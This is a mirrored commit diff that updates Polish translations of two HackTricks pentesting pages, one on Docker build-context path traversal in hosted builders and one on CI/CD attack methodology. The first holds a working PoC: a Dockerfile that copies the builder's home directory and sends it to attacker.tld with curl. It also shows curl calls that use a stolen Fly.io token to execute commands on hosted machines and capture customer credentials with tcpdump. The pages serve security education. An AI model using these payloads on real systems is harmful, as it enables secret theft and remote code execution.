gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-07-28 22:51:09 -07:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-services/aws-bedrock-

Browse Source
This commit is contained in:
Translator
2025-10-25 22:34:43 +00:00
parent 772b7c9b4e
commit 1f9a94d2fa
3 changed files with 76 additions and 76 deletions
Download Patch File Download Diff File Expand all files Collapse all files
src/pentesting-ci-cd/docker-build-context-abuse.md
+27 -27
View File
@@ -1,29 +1,29 @@
# Nadużywanie Docker Build Context w hostowanych builderach (Path Traversal, Exfil, and Cloud Pivot)
# Wykorzystywanie Docker Build Context w Hosted Builders (Path Traversal, Exfil, and Cloud Pivot)
{{#include ../banners/hacktricks-training.md}}
## TL;DR
Jeśli platforma CI/CD lub hosted builder pozwala contributorom określić ścieżkę build context i ścieżkę Dockerfile, często można ustawić context na katalog nadrzędny (np. "..") i uczynić pliki hosta częścią build context. Wówczas kontrolowany przez atakującego Dockerfile może użyć COPY i exfiltrate sekrety znalezione w katalogu domowym użytkownika buildera (np. ~/.docker/config.json). Skradzione registry tokens mogą też działać przeciwko providerowi poprzez control-plane APIs, umożliwiając org-wide RCE.
Jeśli platforma CI/CD lub hosted builder pozwala kontrybutorom określić ścieżkę Docker build context i ścieżkę Dockerfile, często można ustawić context na katalog nadrzędny (np. "..") i włączyć pliki hosta do build context. Następnie złośliwy Dockerfile kontrolowany przez atakującego może użyć COPY i exfiltrate secrets znalezione w katalogu domowym użytkownika buildera (np. ~/.docker/config.json). Ukradzione tokeny rejestru mogą również działać przeciwko control-plane APIs dostawcy, umożliwiając RCE w całej organizacji.
## Powierzchnia ataku
## Attack surface
Wiele hostowanych usług builder/registry robi mniej więcej to przy budowaniu obrazów przesłanych przez użytkowników:
Wiele usług hosted builder/registry robi mniej więcej to samo podczas budowania obrazów przesłanych przez użytkowników:
- Odczytuje konfigurację na poziomie repo, która zawiera:
- build context path (wysyłany do Docker daemon)
- Dockerfile path względny względem tego contextu
- build context path (wysyłany do Docker daemon)
- Dockerfile path względem tego context
- Kopiuje wskazany katalog build context oraz Dockerfile do Docker daemon
- Buduje obraz i uruchamia go jako hostowaną usługę
- Buduje obraz i uruchamia go jako hosted service
Jeśli platforma nie kanonizuje i nie ogranicza build context, użytkownik może ustawić go na lokalizację poza repozytorium (path traversal), powodując, że dowolne pliki hosta czytelne dla build usera staną się częścią build context i będą dostępne do COPY w Dockerfile.
Jeśli platforma nie kanonizuje i nie ogranicza build context, użytkownik może ustawić go na lokalizację poza repozytorium (path traversal), powodując, że dowolne pliki hosta czytelne dla użytkownika builda staną się częścią build context i będą dostępne do COPY w Dockerfile.
Praktyczne ograniczenia obserwowane w praktyce:
- Dockerfile musi znajdować się wewnątrz wybranego context path i jego ścieżka musi być znana z wyprzedzeniem.
- build user musi mieć dostęp do odczytu plików dołączonych do context; specjalne pliki urządzeń mogą zepsuć kopiowanie.
Praktyczne ograniczenia często obserwowane:
- Dockerfile musi znajdować się w wybranej ścieżce context i jego ścieżka musi być znana z góry.
- Użytkownik builda musi mieć prawa do odczytu plików dołączonych do context; specjalne pliki urządzeń mogą zepsuć kopiowanie.
## PoC: Path traversal via Docker build context
Przykładowa złośliwa konfiguracja serwera deklarująca Dockerfile w katalogu nadrzędnym contextu:
Przykładowa złośliwa konfiguracja serwera deklarująca Dockerfile w kontekście katalogu nadrzędnego:
```yaml
runtime: "container"
build:
@@ -40,9 +40,9 @@ required: ["apiKey"]
exampleConfig:
apiKey: "sk-example123"
```
Notatki:
- Użycie ".." często odnosi się do katalogu domowego użytkownika builder (np. /home/builder), który zazwyczaj zawiera wrażliwe pliki.
- Umieść swój Dockerfile w katalogu repo (np. repo "test" → test/Dockerfile), tak aby pozostał w obrębie rozszerzonego kontekstu nadrzędnego.
Uwagi:
- Użycie ".." często odwołuje się do katalogu domowego użytkownika builder (np. /home/builder), który zazwyczaj zawiera pliki wrażliwe.
- Umieść swój Dockerfile w katalogu o nazwie repo (np. repo "test" → test/Dockerfile), tak aby pozostał w obrębie rozszerzonego kontekstu nadrzędnego.
## PoC: Dockerfile to ingest and exfiltrate the host context
```dockerfile
@@ -52,19 +52,19 @@ RUN mkdir /data
COPY . /data # Copies entire build context (now builder’s $HOME)
RUN curl -si https://attacker.tld/?d=$(find /data | base64 -w 0)
```
Typowe cele odzyskiwane z $HOME:
Targets commonly recovered from $HOME:
- ~/.docker/config.json (registry auths/tokens)
- Inne cache i pliki konfiguracyjne cloud/CLI (np. ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
- Other cloud/CLI caches and configs (e.g., ~/.fly, ~/.kube, ~/.aws, ~/.config/*)
Uwaga: Nawet jeśli w repozytorium znajduje się plik .dockerignore, podatny mechanizm wyboru kontekstu po stronie platformy nadal kontroluje, co zostanie wysłane do daemon. Jeśli platforma skopiuje wybraną ścieżkę do daemon zanim oceni .dockerignore w repozytorium, pliki hosta nadal mogą zostać ujawnione.
Wskazówka: Nawet jeśli w repozytorium znajduje się plik .dockerignore, to sposób wyboru kontekstu po stronie platformy (który jest podatny) nadal decyduje, co zostanie wysłane do daemon. Jeśli platforma skopiuje wybraną ścieżkę do daemona zanim oceni .dockerignore Twojego repozytorium, pliki z hosta mogą nadal zostać ujawnione.
## Pivot w chmurze z nadmiernie uprzywilejowanymi tokens (przykład: Fly.io Machines API)
## Pivot w chmurze przy użyciu nadmiernie uprzywilejowanych tokenów (przykład: Fly.io Machines API)
Niektóre platformy wydają pojedynczy bearer token, który można użyć zarówno dla container registry, jak i control-plane API. Jeśli exfiltrate'ujesz registry token, spróbuj go użyć przeciwko provider API.
Niektóre platformy wydają pojedynczy bearer token, który można użyć zarówno do container registry, jak i do control-plane API. Jeśli wyeksfiltrujesz registry token, spróbuj użyć go przeciwko provider API.
Przykładowe wywołania API przeciwko Fly.io Machines API używające skradzionego tokena z ~/.docker/config.json:
Przykładowe wywołania API przeciwko Fly.io Machines API z użyciem skradzionego tokena z ~/.docker/config.json:
Wypisz aplikacje w organizacji:
Enumerate apps in an org:
```bash
curl -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps?org_slug=smithery"
@@ -75,11 +75,11 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"","command":["id"],"container":"","stdin":"","timeout":5}'
```
Wynik: org-wide remote code execution we wszystkich hostowanych aplikacjach, jeśli token posiada wystarczające uprawnienia.
Rezultat: remote code execution obejmujący całą organizację we wszystkich hostowanych aplikacjach, jeśli token ma wystarczające uprawnienia.
## Kradzież sekretów z kompromitowanych hostowanych usług
## Kradzież sekretów z przejętych hostowanych usług
Mając exec/RCE na hostowanych serwerach, możesz pozyskać sekrety dostarczone przez klienta (API keys, tokens) lub przeprowadzić prompt-injection attacks. Przykład: zainstaluj tcpdump i przechwyć ruch HTTP na porcie 8080, aby wydobyć przychodzące poświadczenia.
Mając exec/RCE na hostowanych serwerach, możesz zebrać dostarczone przez klienta sekrety (API keys, tokens) lub przeprowadzić prompt-injection attacks. Przykład: zainstaluj tcpdump i przechwyć ruch HTTP na porcie 8080, aby wydobyć przychodzące poświadczenia.
```bash
# Install tcpdump inside the machine
curl -s -X POST -H "Authorization: Bearer fm2_..." \
@@ -91,9 +91,9 @@ curl -s -X POST -H "Authorization: Bearer fm2_..." \
"https://api.machines.dev/v1/apps/<app>/machines/<machine>/exec" \
--data '{"cmd":"tcpdump -i eth0 -w /tmp/log tcp port 8080","command":[],"container":"","stdin":"","timeout":5}'
```
Przechwycone żądania często zawierają poświadczenia klienta w nagłówkach, ciałach żądań lub parametrach zapytania.
Przechwycone żądania często zawierają poświadczenia klienta w nagłówkach, treści żądań lub parametrach zapytania.
## Źródła
## Referencje
- [Breaking MCP Server Hosting: Build-Context Path Traversal to Org-wide RCE and Secret Theft](https://blog.gitguardian.com/breaking-mcp-server-hosting/)
- [Fly.io Machines API](https://fly.io/docs/machines/api/)
src/pentesting-ci-cd/pentesting-ci-cd-methodology.md
+48 -48
View File
@@ -6,51 +6,51 @@
## VCS
VCS oznacza **Version Control System**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najbardziej powszechny to **git** i zazwyczaj znajdziesz firmy używające go na jednej z następujących **platform**:
VCS oznacza **Version Control System**, ten system pozwala deweloperom **zarządzać swoim kodem źródłowym**. Najpopularniejszy to **git** i zwykle znajdziesz firmy używające go na jednej z następujących **platform**:
- Github
- Gitlab
- Bitbucket
- Gitea
- Gitblit
- Cloud providers (they offer their own VCS platforms)
- Dostawcy chmurowi (oferują swoje własne platformy VCS)
## CI/CD Pipelines
CI/CD pipelines umożliwiają deweloperom **automatyzację wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez określone akcje**, takie jak pushy kodu, pull requesty lub zadania zaplanowane. Ułatwiają one usprawnienie procesu od developmentu do produkcji.
Potoki CI/CD umożliwiają deweloperom **zautomatyzowanie wykonywania kodu** w różnych celach, w tym budowania, testowania i wdrażania aplikacji. Te zautomatyzowane workflowy są **wyzwalane przez konkretne akcje**, takie jak pushy kodu, pull requesty lub zaplanowane zadania. Przyspieszają proces od developmentu do produkcji.
Jednak te systemy muszą być **wykonywane gdzieś** i zwykle z **uprzywilejowanymi poświadczeniami do wdrażania kodu lub dostępu do wrażliwych informacji**.
Jednak te systemy muszą być **uruchamiane gdzieś** i zwykle z **uprzywilejowanymi poświadczeniami do deployu kodu lub dostępu do wrażliwych informacji**.
## VCS Pentesting Metodologia
## VCS Pentesting Methodology
> [!NOTE]
> Nawet jeśli niektóre platformy VCS pozwalają tworzyć pipelines, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę kodu źródłowego.
> Nawet jeśli niektóre platformy VCS pozwalają tworzyć pipelines, w tej sekcji przeanalizujemy tylko potencjalne ataki na kontrolę nad kodem źródłowym.
Platformy przechowujące kod źródłowy projektu zawierają wrażliwe informacje i trzeba bardzo uważać na uprawnienia przyznawane w tej platformie. Oto kilka typowych problemów w platformach VCS, które atakujący może wykorzystać:
Platformy, które zawierają kod źródłowy twojego projektu, przechowują wrażliwe informacje i trzeba być bardzo ostrożnym z uprawnieniami przyznawanymi wewnątrz tej platformy. Oto kilka typowych problemów występujących na platformach VCS, które atakujący może wykorzystać:
- **Leaks**: Jeśli twój kod zawiera leak w commitach i atakujący może uzyskać dostęp do repo (bo jest publiczne lub ma dostęp), może odkryć te leak.
- **Access**: Jeśli atakujący może uzyskać dostęp do konta na platformie VCS, może zyskać **większą widoczność i uprawnienia**.
- **Register**: Niektóre platformy po prostu pozwalają zewnętrznym użytkownikom tworzyć konto.
- **SSO**: Niektóre platformy nie pozwalają na rejestrację, ale pozwalają na logowanie każdemu z ważnym SSO (więc atakujący mógłby użyć np. swojego github konta, aby wejść).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele rodzajów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo.
- **Webhooks**: Platformy VCS pozwalają tworzyć webhooks. Jeśli nie są **chronione** przy pomocy sekretów niewidocznych, **atakujący może je wykorzystać**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **write** dostępu do repos, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może musieć **obejść branch protections**. Te działania mogą być wykonane z różnymi celami:
- **Leaks**: Jeśli twój kod zawiera leaks w commitach i atakujący może uzyskać dostęp do repo (ponieważ jest publiczne lub ma dostęp), może odkryć te leaks.
- **Dostęp**: Jeśli atakujący uzyska **dostęp do konta na platformie VCS**, może zdobyć **większą widoczność i uprawnienia**.
- **Rejestracja**: Niektóre platformy po prostu pozwalają zewnętrznym użytkownikom tworzyć konta.
- **SSO**: Niektóre platformy nie pozwalają rejestrować się lokalnie, ale umożliwiają dostęp każdemu z ważnym SSO (np. atakujący może użyć swojego konta github, aby się zalogować).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... istnieje wiele typów tokenów, które użytkownik może ukraść, aby w jakiś sposób uzyskać dostęp do repo.
- **Webhooks**: Platformy VCS umożliwiają generowanie webhooks. Jeśli nie są **chronione** niewidocznymi sekretami, **atakujący może ich nadużyć**.
- Jeśli nie ma żadnego sekretu, atakujący może nadużyć webhooka zewnętrznej platformy.
- Jeśli sekret jest w URL, dzieje się to samo i atakujący również ma sekret.
- **Code compromise:** Jeśli złośliwy aktor ma jakiś rodzaj **dostępu zapisu** do repo, może spróbować **wstrzyknąć złośliwy kod**. Aby odnieść sukces, może potrzebować **obejść ochronę gałęzi**. Te działania mogą być wykonywane z różnymi celami:
- Skompromitować główną gałąź, aby **skompromitować produkcję**.
- Skompromitować main (lub inne branche), aby **skompromitować maszyny deweloperów** (ponieważ zwykle wykonują testy, terraform lub inne rzeczy z repo na swoich maszynach).
- **Skompromitować pipeline** (zobacz następną sekcję)
- Skompromitować główną (lub inne) gałęzie, aby **skompromitować maszyny deweloperów** (ponieważ zazwyczaj wykonują testy, terraform lub inne rzeczy z repo na swoich maszynach).
- **Skompromitować pipeline** (sprawdź następną sekcję)
## Pipelines Pentesting Methodology
Najczęstszym sposobem definiowania pipeline jest użycie **CI configuration file hostowanego w repo**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych jobów, warunki wpływające na flow oraz ustawienia środowiska builda.\
Takie pliki zwykle mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions w .github/workflows. Gdy są wyzwalane, job pipeline **pobiera kod** ze wskazanego źródła (np. commit / branch) i **uruchamia polecenia określone w CI configuration file** przeciwko temu kodowi.
Najpopularniejszy sposób definiowania pipeline'a to użycie **pliku konfiguracyjnego CI przechowywanego w repozytorium**, które pipeline buduje. Ten plik opisuje kolejność wykonywanych zadań, warunki wpływające na przepływ i ustawienia środowiska budowania.\
Te pliki zwykle mają spójną nazwę i format, na przykład — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) oraz pliki YAML GitHub Actions w .github/workflows. Po wyzwoleniu, job pipeline'a **pobiera kod** z wybranego źródła (np. commit / branch) i **wykonuje komendy określone w pliku konfiguracyjnym CI** względem tego kodu.
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **polecenia, które wykonują**.
Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować te pliki konfiguracyjne** lub **komendy, które one wykonują**.
> [!TIP]
> Niektórzy hostowani build-ersi pozwalają contributorom wybierać Docker build context i Dockerfile path. Jeśli context jest kontrolowany przez atakującego, możesz ustawić go poza repo (np. ".."), aby wciągnąć pliki hosta podczas builda i exfiltrate secrets. Zobacz:
> Niektórzy hostowani builderzy pozwalają kontrybutorom wybierać Docker build context i ścieżkę Dockerfile. Jeśli context jest kontrolowany przez atakującego, możesz ustawić go poza repo (np. ".."), aby w trakcie builda załadować pliki hosta i eksfiltrować sekrety. Zobacz:
>
>{{#ref}}
>docker-build-context-abuse.md
@@ -58,53 +58,53 @@ Dlatego ostatecznym celem atakującego jest w jakiś sposób **skompromitować t
### PPE - Poisoned Pipeline Execution
Poisoned Pipeline Execution (PPE) wykorzystuje uprawnienia w repo SCM do manipulacji CI pipeline i wykonania szkodliwych poleceń. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować CI configuration files lub inne pliki używane przez job pipeline, aby dodać złośliwe polecenia. To „zatrucie” CI pipeline prowadzi do wykonania tych złośliwych poleceń.
Ścieżka Poisoned Pipeline Execution (PPE) wykorzystuje uprawnienia w repo SCM do manipulowania CI pipeline i wykonywania szkodliwych komend. Użytkownicy z odpowiednimi uprawnieniami mogą modyfikować pliki konfiguracyjne CI lub inne pliki używane przez job pipeline'a, aby dodać złośliwe polecenia. To „zatruwa” pipeline CI, prowadząc do wykonania tych złośliwych poleceń.
Aby złośliwy aktor mógł odnieść sukces w ataku PPE, musi:
Aby złośliwy aktor odniósł sukces wykonując atak PPE, musi być w stanie:
- Mieć **write access do platformy VCS**, ponieważ zwykle pipeline są wyzwalane przy pushu lub pull requestcie. (Zobacz VCS pentesting methodology dla podsumowania sposobów na zdobycie dostępu).
- Zwróć uwagę, że czasami **external PR liczy się jako "write access"**.
- Nawet mając uprawnienia do zapisu, musi się upewnić, że może **zmodyfikować CI config file lub inne pliki, na których config polega**.
- W tym celu może wymagać umiejętności **obejścia branch protections**.
- Mieć **dostęp do zapisu na platformie VCS**, ponieważ zwykle pipelines są wyzwalane, gdy następuje push lub pull request. (Sprawdź sekcję VCS pentesting methodology dla podsumowania sposobów uzyskania dostępu).
- Zauważ, że czasami **zewnętrzny PR liczy się jako "dostęp do zapisu"**.
- Nawet jeśli ma uprawnienia zapisu, musi mieć pewność, że może **zmodyfikować plik konfiguracyjny CI lub inne pliki, na których konfig opiera się**.
- W tym celu może być konieczne **obejście ochrony gałęzi**.
Istnieją 3 odmiany PPE:
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
- **D-PPE**: Atak **Direct PPE** występuje, gdy aktor **modyfikuje plik konfig CI**, który zostanie wykonany.
- **I-DDE**: Atak **Indirect PPE** występuje, gdy aktor **modyfikuje** **plik**, na którym plik konfig CI polega (np. makefile lub konfiguracja terraform).
- **Public PPE or 3PE**: W niektórych przypadkach pipelines mogą być **wyzwalane przez użytkowników bez dostępu zapisu do repo** (a którzy mogą nawet nie być częścią organizacji), ponieważ mogą wysyłać PR.
- **3PE Command Injection**: Zazwyczaj pipeline'y CI/CD **ustawiają zmienne środowiskowe** z **informacjami o PR**. Jeśli ta wartość może być kontrolowana przez atakującego (np. tytuł PR) i jest **używana** w **niebezpiecznym miejscu** (np. wykonywanie komend sh), atakujący może **wstrzyknąć tam polecenia**.
### Exploitation Benefits
### Korzyści z eksploatacji
Znając 3 odmiany zatrucia pipeline, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji:
Znając 3 odmiany zatruwania pipeline'a, sprawdźmy, co atakujący może uzyskać po udanej eksploatacji:
- **Secrets**: Jak wspomniano wcześniej, pipeline wymagają **uprawnień** dla swoich jobów (pobranie kodu, budowa, deploy...) i te uprawnienia są zwykle **przechowywane w secrets**. Te secrets są zwykle dostępne przez **zmienne środowiskowe (env variables) lub pliki w systemie**. Dlatego atakujący zawsze będzie próbował wyfiltrować jak najwięcej secrets.
- W zależności od platformy pipeline atakujący **może musieć określić secrets w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować CI configuration pipeline (**I-PPE** na przykład), mógłby **jedynie wyfiltrować te secrets, które ten pipeline posiada**.
- **Computation**: Kod jest wykonywany gdzieś; w zależności od miejsca wykonania atakujący może być w stanie dokonać pivotu dalej.
- **On-Premises**: Jeśli pipeline są wykonywane on-premises, atakujący może trafić do **sieci wewnętrznej z dostępem do większej liczby zasobów**.
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także może **exfiltrate** IAM roles/service accounts **tokens** z chmury, aby uzyskać **dalszy dostęp wewnątrz chmury**.
- **Platforms machine**: Czasami joby będą wykonywane na **maszynach platformy pipelines**, które zwykle są w chmurze i **nie mają dalszego dostępu**.
- **Select it:** Czasami **platforma pipelines ma skonfigurowane wiele maszyn** i jeśli możesz **zmodyfikować CI configuration file** możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie uruchomi reverse shell na każdej możliwej maszynie, aby spróbować ją dalej wykorzystać.
- **Compromise production**: Jeśli jesteś w pipeline i końcowa wersja jest zbudowana i wdrażana z niego, możesz **skompromitować kod, który ostatecznie zostanie uruchomiony w produkcji**.
- **Secrets**: Jak wspomniano wcześniej, pipeline'y wymagają **uprawnień** dla swoich jobów (pobranie kodu, jego budowa, deploy...) i te uprawnienia są zwykle **przechowywane w sekretach**. Sekrety te są zwykle dostępne przez **zmienne env lub pliki wewnątrz systemu**. Dlatego atakujący zawsze będzie próbował eksfiltrować jak najwięcej sekretów.
- W zależności od platformy pipeline atakujący **może potrzebować zadeklarować sekrety w konfiguracji**. To oznacza, że jeśli atakujący nie może zmodyfikować konfiguracji CI (**I-PPE** na przykład), może **eksfiltrować tylko te sekrety, które pipeline posiada**.
- **Obliczenia**: Kod jest wykonywany gdzieś — w zależności od miejsca wykonania atakujący może być w stanie pivotować dalej.
- **On-Premises**: Jeśli pipeline'y są wykonywane lokalnie (on-premises), atakujący może znaleźć się w **wewnętrznej sieci z dostępem do większej liczby zasobów**.
- **Cloud**: Atakujący może uzyskać dostęp do **innych maszyn w chmurze**, ale także mógłby **eksfiltrować** tokeny ról IAM/service accounts, aby uzyskać **dalszy dostęp w chmurze**.
- **Maszyna platformy**: Czasami joby wykonują się na **maszynach platformy pipeline**, które zazwyczaj są w chmurze i mają **brak dodatkowego dostępu**.
- **Wybierz ją:** Czasami **platforma pipeline ma skonfigurowane kilka maszyn** i jeśli możesz **zmodyfikować plik konfig CI**, możesz **wskazać, gdzie chcesz uruchomić złośliwy kod**. W takiej sytuacji atakujący prawdopodobnie uruchomi reverse shell na każdej możliwej maszynie, aby dalej ją eksploitować.
- **Skompromitować produkcję**: Jeśli jesteś wewnątrz pipeline'a i to z niego finalna wersja jest budowana i wdrażana, możesz **skompromitować kod, który trafi na produkcję**.
## More relevant info
## Więcej istotnych informacji
### Tools & CIS Benchmark
### Narzędzia & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) jest narzędziem open-source do audytu Twojego software supply chain stack pod kątem zgodności bezpieczeństwa na bazie nowego [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt skupia się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodu do czasu wdrożenia.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) to open-source'owe narzędzie do audytu stacku software supply chain pod kątem zgodności bezpieczeństwa oparte na nowym [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Audyt skupia się na całym procesie SDLC, gdzie może ujawnić ryzyka od czasu kodu do czasu deployu.
### Top 10 CI/CD Security Risk
Sprawdź ciekawy artykuł o top 10 ryzykach CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Sprawdź ten interesujący artykuł o top 10 ryzyk CI/CD według Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcje jak ją uruchomić lokalnie, aby skonfigurować ją według własnych potrzeb i testować.
- Na każdej platformie, którą możesz uruchomić lokalnie, znajdziesz instrukcje jak ją uruchomić lokalnie, aby móc skonfigurować ją według własnych potrzeb do testów
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** jest narzędziem do statycznej analizy kodu dla infrastructure-as-code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** to narzędzie do statycznej analizy kodu dla infrastructure-as-code.
## References